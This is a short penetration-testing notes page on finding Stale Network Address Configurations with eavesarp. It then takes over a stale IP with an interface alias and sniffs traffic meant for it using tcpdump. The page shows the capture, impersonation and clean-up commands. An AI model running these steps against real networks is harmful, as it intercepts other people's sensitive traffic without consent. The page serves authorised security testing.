> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/networks/l2/snacs-abuse.md).

# SNACs Abuse

Stale Network Address Configuration

* <https://www.blackhillsinfosec.com/analyzing-arp-to-discover-exploit-stale-network-address-configurations/>
* <https://github.com/arch4ngel/eavesarp>
* <https://github.com/s0i37/net/blob/main/arp_snac.py>

Actively analyze ARP traffic and hunt for SNACs (Stale Network Address Configurations):

```
$ sudo python3 eavesarp.py capture -i eth0 -ar -dr [--blacklist 192.168.1.11]
```

If a SNAC if found (can be detected, for example, when a host has moved from one IP to another and its DNS A record not matching its DNS PTR record anymore) so that some application in the network is still trying to send sensitive data to the *stale* IP address (because it may simply be hard-coded in the app), an adversary can set an alias for their interface pretending to be that host with the *stale* IP and collect all the traffic intended for it:

```
# Check again with tcpdump
$ sudo tcpdump -nvv -i eth0 "src host <STALE_IP> and arp"

# Abuse it!
$ sudo tcpdump -nA -i eth0 "src host <STALE_IP> and (dst port 80 or dst port 443)"
Or
$ sudo tcpdump -nvv -i eth0 -s 65535 -w eavesarp.pcap "host <STALE_IP>"
$ sudo ip addr add <STALE_IP>/24 dev eth0

# Clean up
$ sudo ip addr del <STALE_IP>/24 dev eth0
```